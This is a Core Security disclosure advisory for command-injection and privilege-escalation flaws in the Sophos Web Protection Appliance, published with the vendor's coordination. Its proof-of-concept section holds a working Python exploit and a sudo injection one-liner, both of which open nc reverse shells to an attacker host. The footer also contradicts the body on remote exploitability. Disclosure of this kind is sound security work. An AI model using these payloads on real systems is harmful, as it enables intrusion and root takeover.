Sophos Web Protection Appliance Multiple Vulnerabilities

1. Advisory Information

Title: Sophos Web Protection Appliance Multiple Vulnerabilities
Advisory ID: CORE-2013-0809
Advisory URL: http://www.coresecurity.com/advisories/sophos-web-protection-appliance-multiple-vulnerabilities
Date published: 2013-09-06
Date of last update: 2013-09-06
Vendors contacted: Sophos
Release mode: Coordinated release

2. Vulnerability Information

Class: OS command injection [CWE-78], OS command injection [CWE-78]
Impact: Code execution, Security bypass
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2013-4983, CVE-2013-4984

3. Vulnerability Description

Sophos Web Protection Appliance [1] provides advanced web malware protection, URL filtering and content control (including scanning of HTTPS traffic) in a Secure Web Gateway appliance. Sophos Web Protection Appliance is available both as a hardware appliance and as a VMware virtual appliance.

Multiple vulnerabilities have been found in Sophos Web Protection Appliance that could allow an unauthenticated remote attacker to execute arbitrary OS commands and escalate privileges to gain root permissions within the appliance. The OS command injection vulnerability can be exploited by remote unauthenticated attackers that can reach the web interface of the appliance. The privilege escalation vulnerability allows an attacker that already gained code execution on the appliance to escalate privileges from the operating system user spiderman to root.

4. Vulnerable Packages

  • Sophos Web Appliance v3.7.9 and earlier.
  • Sophos Web Appliance v3.8.0.
  • Sophos Web Appliance v3.8.1.
  • Other versions may be affected too but they were no checked.

5. Non-Vulnerable Packages

  • Sophos Web Protection Appliance v3.7.9.1.
  • Sophos Web Protection Appliance v3.8.1.1.

6. Vendor Information, Solutions and Workarounds

Sophos published release notes and a knowledgebase article acknowledging the issue and the assistance given by Core Security in tracking it down [2][3].

7. Credits

This vulnerability was discovered and researched by Francisco Falcon from Core Exploit Writers Team. The publication of this advisory was coordinated by Fernando Miranda from Core Advisories Team.

8. Technical Description / Proof of Concept Code

8.1. Pre-authentication OS command injection vulnerability

[CVE-2013-4983] The file /opt/ui/apache/htdocs/end-user/index.php can be accessed by unauthenticated users at https://<WPA_server>/end-user/index.php. It also can be reached through plain HTTP at http://<WPA_server>/index.php, since Apache's httpd.conf configuration file defines a VirtualHost at port 80 having DocumentRoot /opt/ui/apache/htdocs/end-user/. The run() function in this PHP script obtains the requested controller from its c GET parameter and calls the appropriate handler.

Available handlers are defined in /opt/ui/apache/htdocs/config/UsrSiteflow.php:

<?php
require_once('AbstractSiteFlow.php');
class UsrSiteflow extends AbstractSiteFlow {
    public function __construct() {
        $this->flow = array(
            "index" => "UsrBlocked.php",
            "blocked" => "UsrBlocked.php",		
            "invalid_certificate" => "UsrBlocked.php",
            "rss" => "UsrRss.php",
        );
    }
}
?>

That means that, for example, when requesting https://<WPA_server>/end-user/index.php?c=blocked, the UsrBlocked.php script will be used to render the page. Looking at the code in /opt/ui/apache/htdocs/controllers/UsrBlocked.php:

<?php
[...]
    if(isset($_GET['action'])) {
    if($_GET['action'] == 'continue') {
                // use sblistpack to allow access
                $url = base64_decode($_POST['url']);
        $scheme = parse_url($url,PHP_URL_SCHEME);
        if($scheme == "https" && $this->config->read('wsa_proxy.https_scan') != 'yes') {
        $host = parse_url($url,PHP_URL_HOST);
        $args['url'] = $scheme . '://' . $host;
        } else {
        $args['url'] = $url;
                }
        if($_POST['args_reason'] == 'filetypewarn') {
        $key = $_POST['url'];
        $packer = '/opt/ws/bin/ftsblistpack';
        $value = $_POST['filetype'];
        }
        else {
            $key = $_POST['domain'];
            $packer = '/opt/ws/bin/sblistpack';
            $catParts = explode("|",$_POST['raw_category_id']);
            $value = $catParts[0];
        }
        if(strlen(trim($_POST['user'])) > 0)
            $user = base64_decode($_POST['user_encoded']);
        else
            $user = $_POST['client-ip'];
            if($user == '-') $user = $_POST['client-ip'];

            $key = escapeshellarg($key);
            $user = escapeshellarg($user);
            $value = escapeshellarg($value);
        shell_exec("$packer $key $user $value");
[...]
?>      

we can see that the Perl script /opt/ws/bin/sblistpack will be executed when the following conditions are met:

  1. the action GET parameter is set to continue, and
  2. the args_reason POST parameter is set to anything different that filetypewarn;

Variables whose content is controlled by the user ($key, $user, $value) are properly escaped by using escapeshellarg() before calling shell_exec(), making the UsrBlocked.php script not vulnerable to OS command injection at that point. However, the invoked /opt/ws/bin/sblistpack Perl script itself is vulnerable to OS command injection, because its get_referers() function doesn't escape the first argument of the script before using it within a string that will be executed as a command by using backticks:

sub get_referers {
    my $domain = shift;

    if(! -f $referer_list) {
        return ();
    }

    # handle multiple google domains (e.g. google.co.uk)
    if($domain =~ /^google\./) {
        $domain = 'google.com';
    }

    my $output = `/opt/ws/bin/kvlistquery $referer_list $domain`;
    chomp $output;

    if($output =~ /'(.*)'$/) {
        my $sites = $1;
        return split('\|', $sites);
    }
    return ();
}

so, by setting the domain POST parameter to a value like:

http://example.com;/bin/nc -c /bin/bash 192.168.1.100 4444

an unauthenticated remote attacker can execute arbitrary OS commands on the Sophos appliance with the privileges of the spiderman operating system user.

8.1.1. Proof of Concept

The following Python script exploits the pre-authentication OS command injection vulnerability and executes /bin/nc -c /bin/bash 192.168.1.100 4444 on a vulnerable Sophos Web Protection Appliance in order to gain a reverse shell on attacker's machine at 192.168.1.100:

import sys
import httplib

def main():
    if len(sys.argv) < 2:
        print "Usage: sophos_wpa_command_injection.py <target_ip>"
        sys.exit(1)

    host = sys.argv[1]
    port = 443

    headers = {'Host': host, 
               'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0', 
               'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 
               'Accept-Language': 'es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3', 
               'Accept-Encoding': 'gzip, deflate', 
               'Connection': 'keep-alive', 
               'Content-Type': 'application/x-www-form-urlencoded'
               }

    body  = 'url=aHR0cDovL3d3dy5leGFtcGxlLmNvbQ%3d%3d'
    body += '&args_reason=something_different_than_filetypewarn&filetype=dummy&user=buffalo'
    body += '&user_encoded=YnVmZmFsbw%3d%3d&domain=http%3a%2f%2fexample.com%3b%2fbin%2fnc%20-c%20%2fbin%2fbash%20192.168.1.100%204444'
    body += '&raw_category_id=one%7ctwo%7cthree%7cfour'

    conn = httplib.HTTPSConnection(host, port)
    conn.request('POST', '/end-user/index.php?c=blocked&action=continue', body=body, headers=headers)
    
    #Don't wait for the server response since it will be blocked by the spawned shell
    conn.close()
    print 'Done.'

if __name__ == '__main__':
    main()      

8.2. Privilege escalation through local OS command injection vulnerability

[CVE-2013-4984] The Apache web server within the Sophos appliance runs under the spiderman user. The /etc/sudoers file defines a list of Bash and Perl scripts that the spiderman user can run with the sudo command:

spiderman ALL=NOPASSWD:/opt/sophox/bin/configure_interface, \
                       /opt/sophox/bin/sophox-register, \
                       /opt/sophox/bin/sophox-remote-assist, \
                       [...]
                       /opt/cma/bin/clear_keys.pl, \
                       [...]

The Perl script /opt/cma/bin/clear_keys.pl is vulnerable to OS command injection, because its close_connections() function:

sub close_connections {
    my ($client_ip, $signum, $signame) = @_;

    my @connections = `/bin/netstat -nap|grep ^tcp.*:22.*$client_ip.*EST`;
    foreach (@connections) {
        if(/ESTABLISHED\s*(\d+)\/sshd/) {
            my $conn_pid = $+;
            log_info("connection PID: $conn_pid; my PID: $$; my process tree: " . join(', ', @my_process_tree));
            next if (grep {$_ == $conn_pid}  @my_process_tree);
            log_info("Attempting to stop process '$conn_pid' with $signame");
            kill $signum, $conn_pid;
        }
    }
}      

doesn't escape the second argument of the script before using it within a string that will be executed as a command by using backticks. Since it can be run by the spiderman user with the sudo command, it can be abused to gain root privileges within the appliance.

The following command can be executed within a compromised Web Protection Appliance to escalate privileges from spiderman user to root and gain a reverse root shell on attacker's machine at 192.168.1.100:

$ sudo /opt/cma/bin/clear_keys.pl fakeclientfqdn ";/bin/nc -c /bin/bash 192.168.1.100 5555;" /fakedir

9. Report Timeline

  • 2013-08-12: Core Security Technologies notifies the Sophos team of the vulnerability and sends a technical report. Publication date is set for Sep 4th, 2013.
  • 2013-08-13: Vendor acknowledges Core Security Technologies's e-mail, confirms the issues and notifies that they are working on a resolution and a release plan.
  • 2013-08-14: Vendor notifies that they are expecting to release a fixed version in the first week of September. Vendor also notifies that they are also in the middle of an extended rollout of a new version of the product and would like to make this fix available to customers on both the new and old versions of the product, which increases the amount of testing involved. Sophos team asks for delay the advisory publication one week (Sep 11th).
  • 2013-08-20: Core re-schedules the advisory publication for Sep 11th, 2013.
  • 2013-09-05: Vendor notifies that they completed the testing early and the fixed version of the Web Appliance is scheduled for tomorrow, Friday 6th. Vendor also notifies that they have published release notes and a knowledgebase article acknowledging the issues [2][3].
  • 2013-09-06: Advisory CORE-2013-0809 published.

10. References

[1] http://www.sophos.com/medialibrary/PDFs/factsheets/sophoswebappliancesdsna.pdf.
[2] http://www.sophos.com/en-us/support/knowledgebase/119773.aspx.
[3] http://ca-repo1.sophos.com/docs/ws1000/ws1000/concepts/ReleaseNotes_3.8.1.1.html.

11. About CoreLabs

CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com.

12. About Core Security Technologies

Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com.

13. Disclaimer

The contents of this advisory are copyright (c) 2013 Core Security Technologies and (c) 2013 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/

14. PGP/GPG Keys

This advisory has been signed with the GPG key of Core Security Technologies advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc.

Published Date: 
Friday, September 6, 2013
Last Updated: 
Friday, September 6, 2013 - 3:15pm
Locally Exploitable: 
no
Remotely Exploitable: 
no
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